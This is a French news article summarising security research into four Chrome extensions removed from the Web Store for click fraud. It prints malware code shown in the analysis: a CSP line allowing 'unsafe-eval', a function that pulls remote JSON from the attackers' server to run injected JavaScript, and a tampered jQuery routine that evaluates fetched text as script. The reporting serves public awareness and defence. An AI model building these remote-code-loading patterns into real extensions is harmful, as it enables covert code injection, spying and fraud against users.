Google supprime quatre extensions Chrome qui ont été téléchargées plus de 500 000 fois,
parce qu'elles étaient utilisées dans une campagne de fraude au clic

Les chercheurs ont découvert quatre extensions malveillantes dont la somme du nombre de téléchargements a franchi la barre des 500 000 téléchargements sur le Google Chrome Web Store. Depuis lors, Google les a supprimées.

Les chercheurs de la société de sécurité ICEBRG sont tombés sur la découverte après avoir détecté une pointe suspecte dans le trafic réseau sortant provenant d'un poste de travail client. Ils ont rapidement découvert qu'elle était générée par une extension Chrome appelée HTTP Request Header, un pic provoqué par le fait que l’extension utilisait la machine infectée pour visiter subrepticement des liens Web liés à la publicité. Les chercheurs ont ensuite découvert trois autres extensions Chrome, notamment Nyoogle, Stickies et Lite Bookmarks, qui présentaient un comportement similaire.
Dans leur hypothèse, les chercheurs d’ICEBRG ont pensé que les extensions faisaient partie d'une escroquerie par fraude au clic qui générait des revenus grâce à des récompenses obtenues suite à des clics. Toutefois, ils n’excluent pas le fait que ces extensions malveillantes puissent également avoir été utilisées pour espionner les personnes ou les entreprises qui les ont installées.

« La plupart des principaux navigateurs Web, y compris Google Chrome, offrent aux utilisateurs la possibilité d'installer des extensions. Bien que ces applications Web puissent améliorer l'expérience globale de l'utilisateur, elles constituent également une menace pour la sécurité du poste de travail avec la possibilité d'injecter et d'exécuter du code arbitraire », ont rappelé les chercheurs.
Avec la culture du « facile à installer », les chercheurs rappellent qu’il arrive que les utilisateurs aient une compréhension limitée des risques sous-jacents et le peu de contrôles compensatoires peut rendre les entreprises vulnérables à un vecteur d'attaque sérieux et facilement ignoré.

En effet, « Pour un acteur malveillant motivé, cette approche présente un éventail d'opportunités, depuis la cooptation des ressources de l'entreprise pour la publicité de la fraude au clic jusqu'à l'utilisation du poste de travail d'un utilisateur comme point d'ancrage dans le réseau de l'entreprise. »

Dans le détail, les chercheurs ont expliqué que le code de l’extension Change HTTP Request Header en lui-même ne contient aucun code ouvertement malveillant. Toutefois, ICEBRG a identifié deux éléments préoccupant qui, lorsqu'ils sont combinés, permettent l'injection et l'exécution de code JavaScript arbitraire via l'extension.


Et de rappeler que « De par sa conception, le moteur JavaScript de Chrome évalue (exécute) le code JavaScript contenu dans JSON. Pour des raisons de sécurité, Chrome empêche d'extraire JSON d'une source externe par des extensions, qui doivent demander explicitement son utilisation via la stratégie de sécurité du contenu (CSP - Content Security Policy). Lorsqu'une extension permet l'autorisation 'unsafe-eval' (code ci-dessous) d'effectuer de telles actions, elle peut récupérer et traiter JSON à partir d'un serveur contrôlé de l'extérieur. Cela crée un scénario dans lequel l'auteur de l'extension peut injecter et exécuter du code JavaScript arbitraire chaque fois que le serveur de mise à jour reçoit une demande. »

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
"content_security_policy":   "script-src 'self' 'unsafe-eval'; object-src 'self'"

L'extension Change HTTP Request Header télécharge alors le JSON via une fonction appelée 'update_presets ()' qui télécharge un blob JSON à partir de 'change-request [.] Info'

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
var presets = {};
 
(function update_presets() {
      $.getJSON( "http://change-request.info/presets" )
        .done( function ( data ) {
            presets = data.presets;
            data.timeout && setTimeout( update_presets, data.timeout );
        } )
        .fail( function () {
            setTimeout( update_presets, 60E3 );
        } );
})();

Pendant que les chercheurs analysaient les paquets, ils ont remarqué que le serveur de contrôle, 'change-request [.] Info', renvoyait le JavaScript masqué à l'hôte victime. L'extension va ensuite évaluer et exécuter ce script JavaScript. Un composant du code exécuté vérifie la présence d'outils de débogage Chrome natifs (chrome: // inspect / et chrome: // net-internals /) et, s'ils sont détectés, interrompt l'exécution du segment injecté. « Il s'agit très probablement d'une technique anti-analyse mise en œuvre par les développeurs pour éviter la détection. »

Une fois injecté, le JavaScript malveillant établit un tunnel WebSocket avec 'info-changement [.] Info'. L'extension utilise ensuite cette WebSocket pour accéder au trafic de navigation via le navigateur de la victime. Au moment de l'observation, l'acteur malveillant utilisait cette capacité exclusivement pour visiter des domaines liés à la publicité, ce qui était un indicateur d'une campagne potentielle de fraude au clic en cours. Les campagnes de fraude au clic permettent à une partie malveillante de générer des revenus en forçant les systèmes victimes à visiter des sites de publicité payants par clic (PPC). La même fonctionnalité peut également être utilisée par l'acteur malveillant pour parcourir les sites internes des réseaux de victimes, en contournant efficacement les contrôles destinés à protéger les ressources internes des parties externes.


Comme Change HTTP Request Header, Nyoogle et Lite Bookmarks utilisent la même combinaison d'activation de 'safe-eval' via le CSP avec des mises à jour/vérifications de configuration périodiques via la méthode jQuery.getJSON () pour injecter du JavaScript arbitraire.

Stickies permet également d'effectuer des « tests non sécurisés » via le CSP, mais tente de dissimuler sa capacité à récupérer du code JavaScript externe pour l'injection en modifiant sa bibliothèque jQuery incluse. Plus précisément, Stickies a inclus un script JavaScript dans la méthode ajax () qui convertit le type MIME de données récupérées via 'ajax ()' de "text" en "script" si le code identifie la chaîne magique "\\ \ == "à l'intérieur des données. Cela entraîne l'évaluation des données récupérées en JavaScript et fournit un chemin d'injection de code via des méthodes telles que 'jQuery.get ()' qui dépendent de 'ajax ()'.

Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
for (z = J.shift(); z; )
 
                            if (c.responseFields[z] && (F[c.responseFields[z]] = I),
                            !B && K && c.dataFilter && (I = c.dataFilter(I, c.dataType)),
                            "text" === z && /\/\/\/==/.test(I) && J.push("script"),
                            B = z,
                            z = J.shift())

Ce n'est pas la première fois que les extensions Chrome ont été retrouvées dans de telles situations. Fin juillet et début août, des attaquants ont compromis les comptes d'au moins deux développeurs d'extensions Chrome. Les criminels ont ensuite utilisé leur accès pour installer automatiquement les mises à jour d'extension qui ont injecté des publicités dans les sites visités par les utilisateurs. Plus tard au mois d'août, Renato Marinho, directeur de recherche de Morphus Labs et bénévole au SANS Institute, a découvert une escroquerie de fraude bancaire complexe utilisant une extension malveillante dans le Chrome Web Store de Google pour voler les mots de passe des utilisateurs.

Source : ICEBRG